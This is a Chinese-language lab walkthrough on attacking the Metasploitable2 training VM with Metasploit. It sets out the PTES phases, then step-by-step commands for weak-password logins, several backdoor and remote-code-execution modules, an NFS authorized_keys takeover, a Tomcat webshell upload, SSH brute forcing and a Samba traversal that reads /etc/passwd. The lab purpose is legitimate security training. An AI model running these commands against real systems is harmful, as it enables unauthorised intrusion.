了解Metasploit渗透测试工具的使用,掌握metasploit靶机上的各种漏洞详细信息以及攻击方法。
使用Metasploit渗透测试软件对Metasploitable靶机系统主机进行攻击,检验各种常见靶机漏洞的情况。
Metasploitable:
Metasploitable2 虚拟系统是一个特别制作的Ubuntu操作系统。本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only。
Metasploit:
Metasploit是一个开源的渗透测试框架软件,也是一个逐步发展为成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
目前安全业界流行着许多开源渗透测试方法的体系标准,主流的包括下面几个:
1.OSSTMM(安全测试方法学开源手册)
2.NIST SP 800-42 网络安全测试指南
3.OWASP 十大Web安全应用安全威胁项目
4.Web安全威胁分类标准
5.PETS渗透测试执行标准
其中PETS渗透测试执行标准是由安全界多家领军企业专家共同发起的,其标准中定义的渗透测试过程环节基本上反映了安全业界的普遍认同,具体包括以7个阶段。
1.前期交互阶段
渗透测试团队与客户组织进行交互讨论,确定渗透测试的范围、目标、限制条件以及服务合同细节,集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、 项目管理与规划等活动。
2.情报搜集阶段
渗透测试团队利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置 与安全防御措施的信息。可以使用的情报搜集方法包括——源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。
3.威胁建模阶段
在搜集到充分的情报信息之后,针对获取的信息进行威胁建模与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。
4.漏洞分析阶段
确定出最可行的攻击通道之后,需要考虑该如何取得目标系统的访问控制权,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全 漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻 击的攻击点,并在实验环境中进行验证。
5.渗透攻击阶段
渗透测试团队利用所找出的目标系统安全漏洞,真正入侵系统中,获得访问控制权。
6.后渗透攻击阶段
渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
7.报告阶段
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告。这份报告包含前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时要站在防御者的角度上,帮助分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
原理:系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。
影响系统/软件:
所有使用用户名/密码登录的系统/软件都有可能存在此问题。
在Metasploitable2中,系统口令、MySQL、PostgreSQL和VNC远程登录都存在弱密码漏洞。
利用步骤:
系统弱密码登录:
在kali上执行命令行telnet 192.168.5.136 23
login和password都输入msfadmin
登录成功,进入系统
相同的步骤,弱密码还有user/user、postgres/postgres、sys/batman、klog/123456789、service/service
MySQL弱密码登录:
在kali上执行mysql –h 192.168.5.136 –u root
登录成功,进入mysql系统
原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
影响系统/软件
Xerox WorkCentre Pro
Xerox WorkCentre
VMWare ESX Server
Turbolinux Server/Personal/Multimedia/Home/Desktop/Appliance/FUJI
Trustix Secure Linux
SUSE Linux Enterprise
Sun Solaris
Slackware Linux
RedHat Enterprise
Mandriva Linux
MandrakeSoft Corporate Server
利用步骤
在kali中执行msfconsole,启动metasploit
use exploit/multi/samba/usermap_script,选择漏洞
set RHOST 192.168.5.136,设置要攻击的机器IP
exploit,开始攻击u
利用成功,执行uname–a验证
原理:
在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
影响系统/软件
Vsftpd server v2.3.4
利用步骤
在kali中执行msfconsole,启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor,选择漏洞
set RHOST 192.168.5.136,设置要攻击的机器IP
exploit,开始攻击
利用成功,执行uname–a验证
原理
在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
影响系统/软件
Unreal UnrealIRCd3.2.8.1
利用步骤
在kali中执行msfconsole,启动metasploit
useexploit/unix/irc/unreal_ircd_3281_backdoor,选择漏洞
set RHOST 192.168.5.136,设置要攻击的机器IP
exploit,开始攻击
利用成功,执行uname –a验证原理:
NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys可被修改,实现远程ssh无密码登陆。
影响系统/软件
所有Linux系统的NFS服务
利用步骤
在kali上执行命令行rpcinfo -p 192.168.5.136,查看nfs服务有无开启:
输入ssh-keygen生成rsa公钥:
依次输入
mount –t nfs 192.168.5.136:/ /tmp/t00l(预先创建),把192.168.5.136的根目录挂载到/tmp/t00l/下。注:如果提示下图中错误则需要/etc/init.d/rpcbind start来启动mount
cat /root/.ssh/id_rsa.pub >>/tmp/t00l/root/.ssh/authorized_keys,把生成的公钥追加到靶机的authorized_keys下;
[email protected],实现无密码登陆。原理:
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行
利用步骤
Nmap –p0-65535192.168.5.136来查看1099端口是否开启
依次输入以下命令:
useexploit/multi/misc/java_rmi_server
set RHOST192.168.5.136(靶机IP)
exploit
shell(进入meterpreter时执行)
然后即可获得shell了
原理:
Tomcat 管理台安装好后需要及时修改默认管理账户,并杜绝弱口令,成功登陆者可以部署任意web应用,包括webshell.
影响系统/软件
Nessus
JSPwebshell
利用步骤
访问192.168.5.136:8180,点击tomcat manager,输入tomcat/tomcat,即可进入管理台
在自己机器上准备好JSP webshell(liuz.jsp),通过jar –cvf 来打包成liuz.war。
打包成功可以看到应用目录生成(/liuz)
访问192.168.5.136/liuz/liuz.jsp得到webshell
原理
靶机root用户存在弱口令漏洞,在使用指南里并没有指出。.
影响系统/软件
Linux
利用步骤
输入nmap –sV –O 192.168.5.136,查看SSH端口是否开启:
打开metasploit framework依次输入:
useauxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.5.136
set USERNAMEroot
set PASS_FILE/tmp/r00t/pass.txt(字典文件,需要预先生成)
set THREADS 50
run
root口令爆破成功 ,口令为root
[email protected] 成功登陆:
原理
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制。
影响系统/软件
distcc 2.x
利用步骤
在kali中执行msfconsole,启动metasploit
msf > useexploit/unix/misc/distcc_exec,选择漏洞
set RHOST 192.168.5.136,设置要攻击的机器IP
exploit,开始攻击
利用成功,执行id查看权限,uname –a验证服务器信息
原理:
Samba是一套实现SMB(servermessages block)协议,跨平台进行文件共享和打印共享服务的程序,samba的sambd默认配置在可写文件共享时,存在目录遍历漏洞,远程用户可以通过smbclient端使用一个对称命,创建一个包含..的目录遍历符的软连接,可以进行目录遍历以及访问任意文件。
影响系统/软件
before 3.3.11,3.4.x before 3.4.6, and 3.5.x before 3.5.0rc3
利用步骤
在kali中执行msfconsole,启动metasploit
useauxiliary/admin/smb/samba_symlink_traversal,选择漏洞
set RHOST 192.168.5.156,设置要攻击的机器IP
msfauxiliary(samba_symlink_traversal) > set SMBSHARE tmp 设置SAM可写文件
exploit,开始攻击
root@yd0str:~#smbclient //192.168.5.136/tmp 在新窗口下执行smbclient命令打开上面生成的共享目录
smb: \> cdrootfs 进入rootfs目录
smb:\rootfs\> ls 执行ls命令列出目录
smb:\rootfs\> more /etc/passwd 列出密码文件,利用成功
原理
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
影响系统/软件
before 5.3.12 and 5.4.x before 5.4.2
利用步骤
在kali中执行msfconsole,启动metasploit
msf > useexploit/multi/http/php_cgi_arg_injection,选择漏洞
set RHOST 192.168.5.136,设置要攻击的机器IP
exploit,开始攻击
meterpreter > ls 获得meterpreter,可执行ls列出目录
原理
Druby配置不当,被滥用执行命令(Distributed Ruby or DRb allows Ruby programs to communicate with eachother on the same machine or over a network. DRb uses remote method invocation(RMI) to pass commands and data between processes)
影响系统/软件
Ruby 1.8
利用步骤
nmap -p0-65535-sS -sV 192.168.5.136,NMAP扫描端口及端口应用(或者amap -bqv 192.168.5.136 8787)
在kali中执行msfconsole,启动metasploit
发现8787 druby端口
msf >search drb 搜索dbr相关漏洞
msf > useexploit/linux/misc/drb_remote_codeexec 使用漏洞
set URI druby:192.168.5.136:8787,设置要攻击的机器的druby链接
exploit,开始攻击
输入id, uname -a确认
原理
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限
参考链接如下:
利用步骤
在kali中执行命令行telnet 192.168.5.136 1524
获得root权限
执行uname–a验证
参考
Metasploitable2靶机漏洞.docx
Metasploitable2使用指南
Metasploit渗透测试 魔鬼训练营